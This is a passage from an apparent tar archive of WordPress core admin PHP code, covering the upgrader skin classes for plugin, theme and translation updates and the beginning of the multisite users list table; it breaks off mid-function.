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class-wp-upgrader-skins.php000077700000066661151514577750012011 0ustar00<?php
/**
 * The User Interface "Skins" for the WordPress File Upgrader
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 2.8.0
 */

/**
 * Generic Skin for the WordPress Upgrader classes. This skin is designed to be extended for specific purposes.
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 2.8.0
 */
class WP_Upgrader_Skin {

var $upgrader;
	var $done_header = false;
	var $result = false;

function __construct($args = array()) {
		$defaults = array( 'url' => '', 'nonce' => '', 'title' => '', 'context' => false );
		$this->options = wp_parse_args($args, $defaults);
	}

function set_upgrader(&$upgrader) {
		if ( is_object($upgrader) )
			$this->upgrader =& $upgrader;
		$this->add_strings();
	}

function add_strings() {
	}

function set_result($result) {
		$this->result = $result;
	}

function request_filesystem_credentials($error = false) {
		$url = $this->options['url'];
		$context = $this->options['context'];
		if ( !empty($this->options['nonce']) )
			$url = wp_nonce_url($url, $this->options['nonce']);
		return request_filesystem_credentials($url, '', $error, $context); //Possible to bring inline, Leaving as is for now.
	}

function header() {
		if ( $this->done_header )
			return;
		$this->done_header = true;
		echo '<div class="wrap">';
		echo '<h2>' . $this->options['title'] . '</h2>';
	}
	function footer() {
		echo '</div>';
	}

function feedback($string) {
		if ( isset( $this->upgrader->strings[$string] ) )
			$string = $this->upgrader->strings[$string];

if ( strpos($string, '%') !== false ) {
			$args = func_get_args();
			$args = array_splice($args, 1);
			if ( $args ) {
				$args = array_map( 'strip_tags', $args );
				$args = array_map( 'esc_html', $args );
				$string = vsprintf($string, $args);
			}
		}
		if ( empty($string) )
			return;
		show_message($string);
	}
	function before() {}
	function after() {}

/**
	 * Output JavaScript that calls function to decrement the update counts.
	 *
	 * @since 3.9.0
	 *
	 * @param string $type Type of update count to decrement. Likely values include 'plugin',
	 *                     'theme', 'translation', etc.
	 */
	protected function decrement_update_count( $type ) {
		if ( ! $this->result || is_wp_error( $this->result ) || 'up_to_date' === $this->result ) {
			return;
		}
		echo '<script type="text/javascript">
				(function( wp ) {
					if ( wp && wp.updates.decrementCount ) {
						wp.updates.decrementCount( "' . $type . '" );
					}
				})( window.wp );
			</script>';
	}
}

/**
 * Plugin Upgrader Skin for WordPress Plugin Upgrades.
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 2.8.0
 */
class Plugin_Upgrader_Skin extends WP_Upgrader_Skin {
	var $plugin = '';
	var $plugin_active = false;
	var $plugin_network_active = false;

function __construct($args = array()) {
		$defaults = array( 'url' => '', 'plugin' => '', 'nonce' => '', 'title' => __('Update Plugin') );
		$args = wp_parse_args($args, $defaults);

$this->plugin = $args['plugin'];

$this->plugin_active = is_plugin_active( $this->plugin );
		$this->plugin_network_active = is_plugin_active_for_network( $this->plugin );

parent::__construct($args);
	}

function after() {
		$this->plugin = $this->upgrader->plugin_info();
		if ( !empty($this->plugin) && !is_wp_error($this->result) && $this->plugin_active ){
			echo '<iframe style="border:0;overflow:hidden" width="100%" height="170px" src="' . wp_nonce_url('update.php?action=activate-plugin&networkwide=' . $this->plugin_network_active . '&plugin=' . urlencode( $this->plugin ), 'activate-plugin_' . $this->plugin) .'"></iframe>';
		}

$this->decrement_update_count( 'plugin' );

$update_actions =  array(
			'activate_plugin' => '<a href="' . wp_nonce_url('plugins.php?action=activate&amp;plugin=' . urlencode( $this->plugin ), 'activate-plugin_' . $this->plugin) . '" title="' . esc_attr__('Activate this plugin') . '" target="_parent">' . __('Activate Plugin') . '</a>',
			'plugins_page' => '<a href="' . self_admin_url('plugins.php') . '" title="' . esc_attr__('Go to plugins page') . '" target="_parent">' . __('Return to Plugins page') . '</a>'
		);
		if ( $this->plugin_active || ! $this->result || is_wp_error( $this->result ) || ! current_user_can( 'activate_plugins' ) )
			unset( $update_actions['activate_plugin'] );

/**
		 * Filter the list of action links available following a single plugin update.
		 *
		 * @since 2.7.0
		 *
		 * @param array  $update_actions Array of plugin action links.
		 * @param string $plugin         Path to the plugin file.
		 */
		$update_actions = apply_filters( 'update_plugin_complete_actions', $update_actions, $this->plugin );

if ( ! empty($update_actions) )
			$this->feedback(implode(' | ', (array)$update_actions));
	}
}

/**
 * Plugin Upgrader Skin for WordPress Plugin Upgrades.
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 3.0.0
 */
class Bulk_Upgrader_Skin extends WP_Upgrader_Skin {
	var $in_loop = false;
	var $error = false;

function __construct($args = array()) {
		$defaults = array( 'url' => '', 'nonce' => '' );
		$args = wp_parse_args($args, $defaults);

parent::__construct($args);
	}

function add_strings() {
		$this->upgrader->strings['skin_upgrade_start'] = __('The update process is starting. This process may take a while on some hosts, so please be patient.');
		$this->upgrader->strings['skin_update_failed_error'] = __('An error occurred while updating %1$s: <strong>%2$s</strong>');
		$this->upgrader->strings['skin_update_failed'] = __('The update of %1$s failed.');
		$this->upgrader->strings['skin_update_successful'] = __('%1$s updated successfully.').' <a onclick="%2$s" href="#" class="hide-if-no-js"><span>'.__('Show Details').'</span><span class="hidden">'.__('Hide Details').'</span>.</a>';
		$this->upgrader->strings['skin_upgrade_end'] = __('All updates have been completed.');
	}

function feedback($string) {
		if ( isset( $this->upgrader->strings[$string] ) )
			$string = $this->upgrader->strings[$string];

if ( strpos($string, '%') !== false ) {
			$args = func_get_args();
			$args = array_splice($args, 1);
			if ( $args ) {
				$args = array_map( 'strip_tags', $args );
				$args = array_map( 'esc_html', $args );
				$string = vsprintf($string, $args);
			}
		}
		if ( empty($string) )
			return;
		if ( $this->in_loop )
			echo "$string<br />\n";
		else
			echo "<p>$string</p>\n";
	}

function header() {
		// Nothing, This will be displayed within a iframe.
	}

function footer() {
		// Nothing, This will be displayed within a iframe.
	}
	function error($error) {
		if ( is_string($error) && isset( $this->upgrader->strings[$error] ) )
			$this->error = $this->upgrader->strings[$error];

if ( is_wp_error($error) ) {
			foreach ( $error->get_error_messages() as $emessage ) {
				if ( $error->get_error_data() && is_string( $error->get_error_data() ) )
					$messages[] = $emessage . ' ' . esc_html( strip_tags( $error->get_error_data() ) );
				else
					$messages[] = $emessage;
			}
			$this->error = implode(', ', $messages);
		}
		echo '<script type="text/javascript">jQuery(\'.waiting-' . esc_js($this->upgrader->update_current) . '\').hide();</script>';
	}

function bulk_header() {
		$this->feedback('skin_upgrade_start');
	}

function bulk_footer() {
		$this->feedback('skin_upgrade_end');
	}

function before($title = '') {
		$this->in_loop = true;
		printf( '<h4>' . $this->upgrader->strings['skin_before_update_header'] . ' <span class="spinner waiting-' . $this->upgrader->update_current . '"></span></h4>',  $title, $this->upgrader->update_current, $this->upgrader->update_count);
		echo '<script type="text/javascript">jQuery(\'.waiting-' . esc_js($this->upgrader->update_current) . '\').css("display", "inline-block");</script>';
		echo '<div class="update-messages hide-if-js" id="progress-' . esc_attr($this->upgrader->update_current) . '"><p>';
		$this->flush_output();
	}

function after($title = '') {
		echo '</p></div>';
		if ( $this->error || ! $this->result ) {
			if ( $this->error )
				echo '<div class="error"><p>' . sprintf($this->upgrader->strings['skin_update_failed_error'], $title, $this->error) . '</p></div>';
			else
				echo '<div class="error"><p>' . sprintf($this->upgrader->strings['skin_update_failed'], $title) . '</p></div>';

echo '<script type="text/javascript">jQuery(\'#progress-' . esc_js($this->upgrader->update_current) . '\').show();</script>';
		}
		if ( $this->result && ! is_wp_error( $this->result ) ) {
			if ( ! $this->error )
				echo '<div class="updated"><p>' . sprintf($this->upgrader->strings['skin_update_successful'], $title, 'jQuery(\'#progress-' . esc_js($this->upgrader->update_current) . '\').toggle();jQuery(\'span\', this).toggle(); return false;') . '</p></div>';
			echo '<script type="text/javascript">jQuery(\'.waiting-' . esc_js($this->upgrader->update_current) . '\').hide();</script>';
		}

$this->reset();
		$this->flush_output();
	}

function reset() {
		$this->in_loop = false;
		$this->error = false;
	}

function flush_output() {
		wp_ob_end_flush_all();
		flush();
	}

/**
	 * Output JavaScript that sends message to parent window to decrement the update counts.
	 *
	 * @since 3.9.0
	 *
	 * @param string $type Type of update count to decrement. Likely values include 'plugin',
	 *                     'theme', 'translation', etc.
	 */
	protected function decrement_update_count( $type ) {
		if ( ! $this->result || is_wp_error( $this->result ) || 'up_to_date' === $this->result ) {
			return;
		}
		echo '<script type="text/javascript">
				if ( window.postMessage && JSON ) {
					window.parent.postMessage( JSON.stringify( { action: "decrementUpdateCount", upgradeType: "' . $type . '" } ), window.location.protocol + "//" + window.location.hostname );
				}
			</script>';
	}
}

class Bulk_Plugin_Upgrader_Skin extends Bulk_Upgrader_Skin {
	var $plugin_info = array(); // Plugin_Upgrader::bulk() will fill this in.

function __construct($args = array()) {
		parent::__construct($args);
	}

function add_strings() {
		parent::add_strings();
		$this->upgrader->strings['skin_before_update_header'] = __('Updating Plugin %1$s (%2$d/%3$d)');
	}

function before($title = '') {
		parent::before($this->plugin_info['Title']);
	}

function after($title = '') {
		parent::after($this->plugin_info['Title']);
		$this->decrement_update_count( 'plugin' );
	}
	function bulk_footer() {
		parent::bulk_footer();
		$update_actions =  array(
			'plugins_page' => '<a href="' . self_admin_url('plugins.php') . '" title="' . esc_attr__('Go to plugins page') . '" target="_parent">' . __('Return to Plugins page') . '</a>',
			'updates_page' => '<a href="' . self_admin_url('update-core.php') . '" title="' . esc_attr__('Go to WordPress Updates page') . '" target="_parent">' . __('Return to WordPress Updates') . '</a>'
		);
		if ( ! current_user_can( 'activate_plugins' ) )
			unset( $update_actions['plugins_page'] );

/**
		 * Filter the list of action links available following bulk plugin updates.
		 *
		 * @since 3.0.0
		 *
		 * @param array $update_actions Array of plugin action links.
		 * @param array $plugin_info    Array of information for the last-updated plugin.
		 */
		$update_actions = apply_filters( 'update_bulk_plugins_complete_actions', $update_actions, $this->plugin_info );

if ( ! empty($update_actions) )
			$this->feedback(implode(' | ', (array)$update_actions));
	}
}

class Bulk_Theme_Upgrader_Skin extends Bulk_Upgrader_Skin {
	var $theme_info = array(); // Theme_Upgrader::bulk() will fill this in.

function __construct($args = array()) {
		parent::__construct($args);
	}

function add_strings() {
		parent::add_strings();
		$this->upgrader->strings['skin_before_update_header'] = __('Updating Theme %1$s (%2$d/%3$d)');
	}

function before($title = '') {
		parent::before( $this->theme_info->display('Name') );
	}

function after($title = '') {
		parent::after( $this->theme_info->display('Name') );
		$this->decrement_update_count( 'theme' );
	}

function bulk_footer() {
		parent::bulk_footer();
		$update_actions =  array(
			'themes_page' => '<a href="' . self_admin_url('themes.php') . '" title="' . esc_attr__('Go to themes page') . '" target="_parent">' . __('Return to Themes page') . '</a>',
			'updates_page' => '<a href="' . self_admin_url('update-core.php') . '" title="' . esc_attr__('Go to WordPress Updates page') . '" target="_parent">' . __('Return to WordPress Updates') . '</a>'
		);
		if ( ! current_user_can( 'switch_themes' ) && ! current_user_can( 'edit_theme_options' ) )
			unset( $update_actions['themes_page'] );

/**
		 * Filter the list of action links available following bulk theme updates.
		 *
		 * @since 3.0.0
		 *
		 * @param array $update_actions Array of theme action links.
		 * @param array $theme_info     Array of information for the last-updated theme.
		 */
		$update_actions = apply_filters( 'update_bulk_theme_complete_actions', $update_actions, $this->theme_info );

if ( ! empty($update_actions) )
			$this->feedback(implode(' | ', (array)$update_actions));
	}
}

/**
 * Plugin Installer Skin for WordPress Plugin Installer.
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 2.8.0
 */
class Plugin_Installer_Skin extends WP_Upgrader_Skin {
	var $api;
	var $type;

function __construct($args = array()) {
		$defaults = array( 'type' => 'web', 'url' => '', 'plugin' => '', 'nonce' => '', 'title' => '' );
		$args = wp_parse_args($args, $defaults);

$this->type = $args['type'];
		$this->api = isset($args['api']) ? $args['api'] : array();

parent::__construct($args);
	}

function before() {
		if ( !empty($this->api) )
			$this->upgrader->strings['process_success'] = sprintf( __('Successfully installed the plugin <strong>%s %s</strong>.'), $this->api->name, $this->api->version);
	}

function after() {

$plugin_file = $this->upgrader->plugin_info();

$install_actions = array();

$from = isset($_GET['from']) ? wp_unslash( $_GET['from'] ) : 'plugins';

if ( 'import' == $from )
			$install_actions['activate_plugin'] = '<a href="' . wp_nonce_url('plugins.php?action=activate&amp;from=import&amp;plugin=' . urlencode( $plugin_file ), 'activate-plugin_' . $plugin_file) . '" title="' . esc_attr__('Activate this plugin') . '" target="_parent">' . __('Activate Plugin &amp; Run Importer') . '</a>';
		else
			$install_actions['activate_plugin'] = '<a href="' . wp_nonce_url('plugins.php?action=activate&amp;plugin=' . urlencode( $plugin_file ), 'activate-plugin_' . $plugin_file) . '" title="' . esc_attr__('Activate this plugin') . '" target="_parent">' . __('Activate Plugin') . '</a>';

if ( is_multisite() && current_user_can( 'manage_network_plugins' ) ) {
			$install_actions['network_activate'] = '<a href="' . wp_nonce_url('plugins.php?action=activate&amp;networkwide=1&amp;plugin=' . urlencode( $plugin_file ), 'activate-plugin_' . $plugin_file) . '" title="' . esc_attr__('Activate this plugin for all sites in this network') . '" target="_parent">' . __('Network Activate') . '</a>';
			unset( $install_actions['activate_plugin'] );
		}

if ( 'import' == $from )
			$install_actions['importers_page'] = '<a href="' . admin_url('import.php') . '" title="' . esc_attr__('Return to Importers') . '" target="_parent">' . __('Return to Importers') . '</a>';
		else if ( $this->type == 'web' )
			$install_actions['plugins_page'] = '<a href="' . self_admin_url('plugin-install.php') . '" title="' . esc_attr__('Return to Plugin Installer') . '" target="_parent">' . __('Return to Plugin Installer') . '</a>';
		else
			$install_actions['plugins_page'] = '<a href="' . self_admin_url('plugins.php') . '" title="' . esc_attr__('Return to Plugins page') . '" target="_parent">' . __('Return to Plugins page') . '</a>';

if ( ! $this->result || is_wp_error($this->result) ) {
			unset( $install_actions['activate_plugin'], $install_actions['network_activate'] );
		} elseif ( ! current_user_can( 'activate_plugins' ) ) {
			unset( $install_actions['activate_plugin'] );
		}

/**
		 * Filter the list of action links available following a single plugin installation.
		 *
		 * @since 2.7.0
		 *
		 * @param array  $install_actions Array of plugin action links.
		 * @param object $api             Object containing WordPress.org API plugin data. Empty
		 *                                for non-API installs, such as when a plugin is installed
		 *                                via upload.
		 * @param string $plugin_file     Path to the plugin file.
		 */
		$install_actions = apply_filters( 'install_plugin_complete_actions', $install_actions, $this->api, $plugin_file );

if ( ! empty($install_actions) )
			$this->feedback(implode(' | ', (array)$install_actions));
	}
}

/**
 * Theme Installer Skin for the WordPress Theme Installer.
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 2.8.0
 */
class Theme_Installer_Skin extends WP_Upgrader_Skin {
	var $api;
	var $type;

function __construct($args = array()) {
		$defaults = array( 'type' => 'web', 'url' => '', 'theme' => '', 'nonce' => '', 'title' => '' );
		$args = wp_parse_args($args, $defaults);

$this->type = $args['type'];
		$this->api = isset($args['api']) ? $args['api'] : array();

parent::__construct($args);
	}

function before() {
		if ( !empty($this->api) )
			$this->upgrader->strings['process_success'] = sprintf( $this->upgrader->strings['process_success_specific'], $this->api->name, $this->api->version);
	}

function after() {
		if ( empty($this->upgrader->result['destination_name']) )
			return;

$theme_info = $this->upgrader->theme_info();
		if ( empty( $theme_info ) )
			return;

$name       = $theme_info->display('Name');
		$stylesheet = $this->upgrader->result['destination_name'];
		$template   = $theme_info->get_template();

$preview_link = add_query_arg( array(
			'preview'    => 1,
			'template'   => urlencode( $template ),
			'stylesheet' => urlencode( $stylesheet ),
		), trailingslashit( home_url() ) );

$activate_link = add_query_arg( array(
			'action'     => 'activate',
			'template'   => urlencode( $template ),
			'stylesheet' => urlencode( $stylesheet ),
		), admin_url('themes.php') );
		$activate_link = wp_nonce_url( $activate_link, 'switch-theme_' . $stylesheet );

$install_actions = array();
		$install_actions['preview']  = '<a href="' . esc_url( $preview_link ) . '" class="hide-if-customize" title="' . esc_attr( sprintf( __('Preview &#8220;%s&#8221;'), $name ) ) . '">' . __('Preview') . '</a>';
		$install_actions['preview'] .= '<a href="' . wp_customize_url( $stylesheet ) . '" class="hide-if-no-customize load-customize" title="' . esc_attr( sprintf( __('Preview &#8220;%s&#8221;'), $name ) ) . '">' . __('Live Preview') . '</a>';
		$install_actions['activate'] = '<a href="' . esc_url( $activate_link ) . '" class="activatelink" title="' . esc_attr( sprintf( __('Activate &#8220;%s&#8221;'), $name ) ) . '">' . __('Activate') . '</a>';

if ( is_network_admin() && current_user_can( 'manage_network_themes' ) )
			$install_actions['network_enable'] = '<a href="' . esc_url( wp_nonce_url( 'themes.php?action=enable&amp;theme=' . urlencode( $stylesheet ), 'enable-theme_' . $stylesheet ) ) . '" title="' . esc_attr__( 'Enable this theme for all sites in this network' ) . '" target="_parent">' . __( 'Network Enable' ) . '</a>';

if ( $this->type == 'web' )
			$install_actions['themes_page'] = '<a href="' . self_admin_url('theme-install.php') . '" title="' . esc_attr__('Return to Theme Installer') . '" target="_parent">' . __('Return to Theme Installer') . '</a>';
		elseif ( current_user_can( 'switch_themes' ) || current_user_can( 'edit_theme_options' ) )
			$install_actions['themes_page'] = '<a href="' . self_admin_url('themes.php') . '" title="' . esc_attr__('Themes page') . '" target="_parent">' . __('Return to Themes page') . '</a>';

if ( ! $this->result || is_wp_error($this->result) || is_network_admin() || ! current_user_can( 'switch_themes' ) )
			unset( $install_actions['activate'], $install_actions['preview'] );

/**
		 * Filter the list of action links available following a single theme installation.
		 *
		 * @since 2.8.0
		 *
		 * @param array    $install_actions Array of theme action links.
		 * @param object   $api             Object containing WordPress.org API theme data.
		 * @param string   $stylesheet      Theme directory name.
		 * @param WP_Theme $theme_info      Theme object.
		 */
		$install_actions = apply_filters( 'install_theme_complete_actions', $install_actions, $this->api, $stylesheet, $theme_info );
		if ( ! empty($install_actions) )
			$this->feedback(implode(' | ', (array)$install_actions));
	}
}

/**
 * Theme Upgrader Skin for WordPress Theme Upgrades.
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 2.8.0
 */
class Theme_Upgrader_Skin extends WP_Upgrader_Skin {
	var $theme = '';

function __construct($args = array()) {
		$defaults = array( 'url' => '', 'theme' => '', 'nonce' => '', 'title' => __('Update Theme') );
		$args = wp_parse_args($args, $defaults);

$this->theme = $args['theme'];

parent::__construct($args);
	}

function after() {
		$this->decrement_update_count( 'theme' );

$update_actions = array();
		if ( ! empty( $this->upgrader->result['destination_name'] ) && $theme_info = $this->upgrader->theme_info() ) {
			$name       = $theme_info->display('Name');
			$stylesheet = $this->upgrader->result['destination_name'];
			$template   = $theme_info->get_template();

$preview_link = add_query_arg( array(
				'preview'    => 1,
				'template'   => urlencode( $template ),
				'stylesheet' => urlencode( $stylesheet ),
			), trailingslashit( home_url() ) );

$activate_link = add_query_arg( array(
				'action'     => 'activate',
				'template'   => urlencode( $template ),
				'stylesheet' => urlencode( $stylesheet ),
			), admin_url('themes.php') );
			$activate_link = wp_nonce_url( $activate_link, 'switch-theme_' . $stylesheet );

if ( get_stylesheet() == $stylesheet ) {
				if ( current_user_can( 'edit_theme_options' ) )
					$update_actions['preview']  = '<a href="' . wp_customize_url( $stylesheet ) . '" class="hide-if-no-customize load-customize" title="' . esc_attr( sprintf( __('Customize &#8220;%s&#8221;'), $name ) ) . '">' . __('Customize') . '</a>';
			} elseif ( current_user_can( 'switch_themes' ) ) {
				$update_actions['preview']  = '<a href="' . esc_url( $preview_link ) . '" class="hide-if-customize" title="' . esc_attr( sprintf( __('Preview &#8220;%s&#8221;'), $name ) ) . '">' . __('Preview') . '</a>';
				$update_actions['preview'] .= '<a href="' . wp_customize_url( $stylesheet ) . '" class="hide-if-no-customize load-customize" title="' . esc_attr( sprintf( __('Preview &#8220;%s&#8221;'), $name ) ) . '">' . __('Live Preview') . '</a>';
				$update_actions['activate'] = '<a href="' . esc_url( $activate_link ) . '" class="activatelink" title="' . esc_attr( sprintf( __('Activate &#8220;%s&#8221;'), $name ) ) . '">' . __('Activate') . '</a>';
			}

if ( ! $this->result || is_wp_error( $this->result ) || is_network_admin() )
				unset( $update_actions['preview'], $update_actions['activate'] );
		}

$update_actions['themes_page'] = '<a href="' . self_admin_url('themes.php') . '" title="' . esc_attr__('Return to Themes page') . '" target="_parent">' . __('Return to Themes page') . '</a>';

/**
		 * Filter the list of action links available following a single theme update.
		 *
		 * @since 2.8.0
		 *
		 * @param array  $update_actions Array of theme action links.
		 * @param string $theme          Theme directory name.
		 */
		$update_actions = apply_filters( 'update_theme_complete_actions', $update_actions, $this->theme );

if ( ! empty($update_actions) )
			$this->feedback(implode(' | ', (array)$update_actions));
	}
}

/**
 * Translation Upgrader Skin for WordPress Translation Upgrades.
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 3.7.0
 */
class Language_Pack_Upgrader_Skin extends WP_Upgrader_Skin {
	var $language_update = null;
	var $done_header = false;
	var $display_footer_actions = true;

function __construct( $args = array() ) {
		$defaults = array( 'url' => '', 'nonce' => '', 'title' => __( 'Update Translations' ), 'skip_header_footer' => false );
		$args = wp_parse_args( $args, $defaults );
		if ( $args['skip_header_footer'] ) {
			$this->done_header = true;
			$this->display_footer_actions = false;
		}
		parent::__construct( $args );
	}

function before() {
		$name = $this->upgrader->get_name_for_update( $this->language_update );

echo '<div class="update-messages lp-show-latest">';

printf( '<h4>' . __( 'Updating translations for %1$s (%2$s)&#8230;' ) . '</h4>', $name, $this->language_update->language );
	}

function error( $error ) {
		echo '<div class="lp-error">';
		parent::error( $error );
		echo '</div>';
	}

function after() {
		echo '</div>';
	}

function bulk_footer() {
		$this->decrement_update_count( 'translation' );
		$update_actions = array();
		$update_actions['updates_page'] = '<a href="' . self_admin_url( 'update-core.php' ) . '" title="' . esc_attr__( 'Go to WordPress Updates page' ) . '" target="_parent">' . __( 'Return to WordPress Updates' ) . '</a>';

/**
		 * Filter the list of action links available following a translations update.
		 *
		 * @since 3.7.0
		 *
		 * @param array $update_actions Array of translations update links.
		 */
		$update_actions = apply_filters( 'update_translations_complete_actions', $update_actions );

if ( $update_actions && $this->display_footer_actions )
			$this->feedback( implode( ' | ', $update_actions ) );

parent::footer();
	}
}

/**
 * Upgrader Skin for Automatic WordPress Upgrades
 *
 * This skin is designed to be used when no output is intended, all output
 * is captured and stored for the caller to process and log/email/discard.
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 3.7.0
 */
class Automatic_Upgrader_Skin extends WP_Upgrader_Skin {
	protected $messages = array();

function request_filesystem_credentials( $error = false, $context = '' ) {
		if ( $context )
			$this->options['context'] = $context;
		// TODO: fix up request_filesystem_credentials(), or split it, to allow us to request a no-output version
		// This will output a credentials form in event of failure, We don't want that, so just hide with a buffer
		ob_start();
		$result = parent::request_filesystem_credentials( $error );
		ob_end_clean();
		return $result;
	}

function get_upgrade_messages() {
		return $this->messages;
	}

function feedback( $data ) {
		if ( is_wp_error( $data ) )
			$string = $data->get_error_message();
		else if ( is_array( $data ) )
			return;
		else
			$string = $data;

if ( ! empty( $this->upgrader->strings[ $string ] ) )
			$string = $this->upgrader->strings[ $string ];

if ( strpos( $string, '%' ) !== false ) {
			$args = func_get_args();
			$args = array_splice( $args, 1 );
			if ( ! empty( $args ) )
				$string = vsprintf( $string, $args );
		}

$string = trim( $string );

// Only allow basic HTML in the messages, as it'll be used in emails/logs rather than direct browser output.
		$string = wp_kses( $string, array(
			'a' => array(
				'href' => true
			),
			'br' => true,
			'em' => true,
			'strong' => true,
		) );

if ( empty( $string ) )
			return;

$this->messages[] = $string;
	}

function header() {
		ob_start();
	}

function footer() {
		$output = ob_get_contents();
		if ( ! empty( $output ) )
			$this->feedback( $output );
		ob_end_clean();
	}

function bulk_header() {}
	function bulk_footer() {}
	function before() {}
	function after() {}
}
class-wp-ms-users-list-table.php000077700000023342151514577750012654 0ustar00<?php
/**
 * Multisite Users List Table class.
 *
 * @package WordPress
 * @subpackage List_Table
 * @since 3.1.0
 * @access private
 */
class WP_MS_Users_List_Table extends WP_List_Table {

function ajax_user_can() {
		return current_user_can( 'manage_network_users' );
	}

function prepare_items() {
		global $usersearch, $role, $wpdb, $mode;

$usersearch = isset( $_REQUEST['s'] ) ? wp_unslash( trim( $_REQUEST['s'] ) ) : '';

$users_per_page = $this->get_items_per_page( 'users_network_per_page' );

$role = isset( $_REQUEST['role'] ) ? $_REQUEST['role'] : '';

$paged = $this->get_pagenum();

$args = array(
			'number' => $users_per_page,
			'offset' => ( $paged-1 ) * $users_per_page,
			'search' => $usersearch,
			'blog_id' => 0,
			'fields' => 'all_with_meta'
		);

if ( wp_is_large_network( 'users' ) )
			$args['search'] = ltrim( $args['search'], '*' );

if ( $role == 'super' ) {
			$logins = implode( "', '", get_super_admins() );
			$args['include'] = $wpdb->get_col( "SELECT ID FROM $wpdb->users WHERE user_login IN ('$logins')" );
		}

// If the network is large and a search is not being performed, show only the latest users with no paging in order
		// to avoid expensive count queries.
		if ( !$usersearch && wp_is_large_network( 'users' ) ) {
			if ( !isset($_REQUEST['orderby']) )
				$_GET['orderby'] = $_REQUEST['orderby'] = 'id';
			if ( !isset($_REQUEST['order']) )
				$_GET['order'] = $_REQUEST['order'] = 'DESC';
			$args['count_total'] = false;
		}

if ( isset( $_REQUEST['orderby'] ) )
			$args['orderby'] = $_REQUEST['orderby'];

if ( isset( $_REQUEST['order'] ) )
			$args['order'] = $_REQUEST['order'];

$mode = empty( $_REQUEST['mode'] ) ? 'list' : $_REQUEST['mode'];

// Query the user IDs for this page
		$wp_user_search = new WP_User_Query( $args );

$this->items = $wp_user_search->get_results();

$this->set_pagination_args( array(
			'total_items' => $wp_user_search->get_total(),
			'per_page' => $users_per_page,
		) );
	}

function get_bulk_actions() {
		$actions = array();
		if ( current_user_can( 'delete_users' ) )
			$actions['delete'] = __( 'Delete' );
		$actions['spam'] = _x( 'Mark as Spam', 'user' );
		$actions['notspam'] = _x( 'Not Spam', 'user' );

return $actions;
	}

function no_items() {
		_e( 'No users found.' );
	}

function get_views() {
		global $wp_roles, $role;

$total_users = get_user_count();
		$super_admins = get_super_admins();
		$total_admins = count( $super_admins );

$current_role = false;
		$class = $role != 'super' ? ' class="current"' : '';
		$role_links = array();
		$role_links['all'] = "<a href='" . network_admin_url('users.php') . "'$class>" . sprintf( _nx( 'All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $total_users, 'users' ), number_format_i18n( $total_users ) ) . '</a>';
		$class = $role == 'super' ? ' class="current"' : '';
		$role_links['super'] = "<a href='" . network_admin_url('users.php?role=super') . "'$class>" . sprintf( _n( 'Super Admin <span class="count">(%s)</span>', 'Super Admins <span class="count">(%s)</span>', $total_admins ), number_format_i18n( $total_admins ) ) . '</a>';

return $role_links;
	}

function pagination( $which ) {
		global $mode;

parent::pagination ( $which );

if ( 'top' == $which )
			$this->view_switcher( $mode );
	}

function get_columns() {
		$users_columns = array(
			'cb'         => '<input type="checkbox" />',
			'username'   => __( 'Username' ),
			'name'       => __( 'Name' ),
			'email'      => __( 'E-mail' ),
			'registered' => _x( 'Registered', 'user' ),
			'blogs'      => __( 'Sites' )
		);
		/**
		 * Filter the columns displayed in the Network Admin Users list table.
		 *
		 * @since MU
		 *
		 * @param array $users_columns An array of user columns. Default 'cb', 'username',
		 *                             'name', 'email', 'registered', 'blogs'.
		 */
		$users_columns = apply_filters( 'wpmu_users_columns', $users_columns );

return $users_columns;
	}

function get_sortable_columns() {
		return array(
			'username'   => 'login',
			'name'       => 'name',
			'email'      => 'email',
			'registered' => 'id',
		);
	}

function display_rows() {
		global $mode;

$alt = '';
		$super_admins = get_super_admins();
		foreach ( $this->items as $user ) {
			$alt = ( 'alternate' == $alt ) ? '' : 'alternate';

$status_list = array( 'spam' => 'site-spammed', 'deleted' => 'site-deleted' );

foreach ( $status_list as $status => $col ) {
				if ( $user->$status )
					$alt .= " $col";
			}

?>
			<tr class="<?php echo $alt; ?>">
			<?php

list( $columns, $hidden ) = $this->get_column_info();

foreach ( $columns as $column_name => $column_display_name ) :
				$class = "class='$column_name column-$column_name'";

$style = '';
				if ( in_array( $column_name, $hidden ) )
					$style = ' style="display:none;"';

$attributes = "$class$style";

switch ( $column_name ) {
					case 'cb': ?>
						<th scope="row" class="check-column">
							<label class="screen-reader-text" for="blog_<?php echo $user->ID; ?>"><?php echo sprintf( __( 'Select %s' ), $user->user_login ); ?></label>
							<input type="checkbox" id="blog_<?php echo $user->ID ?>" name="allusers[]" value="<?php echo esc_attr( $user->ID ) ?>" />
						</th>
					<?php
					break;

case 'username':
						$avatar	= get_avatar( $user->user_email, 32 );
						$edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user->ID ) ) );

echo "<td $attributes>"; ?>
							<?php echo $avatar; ?><strong><a href="<?php echo $edit_link; ?>" class="edit"><?php echo $user->user_login; ?></a><?php
							if ( in_array( $user->user_login, $super_admins ) )
								echo ' - ' . __( 'Super Admin' );
							?></strong>
							<br/>
							<?php
								$actions = array();
								$actions['edit'] = '<a href="' . $edit_link . '">' . __( 'Edit' ) . '</a>';

if ( current_user_can( 'delete_user', $user->ID ) && ! in_array( $user->user_login, $super_admins ) ) {
									$actions['delete'] = '<a href="' . $delete = esc_url( network_admin_url( add_query_arg( '_wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), wp_nonce_url( 'users.php', 'deleteuser' ) . '&amp;action=deleteuser&amp;id=' . $user->ID ) ) ) . '" class="delete">' . __( 'Delete' ) . '</a>';
								}

/**
								 * Filter the action links displayed under each user
								 * in the Network Admin Users list table.
								 *
								 * @since 3.2.0
								 *
								 * @param array   $actions An array of action links to be displayed.
								 *                         Default 'Edit', 'Delete'.
								 * @param WP_User $user    WP_User object.
								 */
								$actions = apply_filters( 'ms_user_row_actions', $actions, $user );
								echo $this->row_actions( $actions );
							?>
						</td>
					<?php
					break;

case 'name':
						echo "<td $attributes>$user->first_name $user->last_name</td>";
					break;

case 'email':
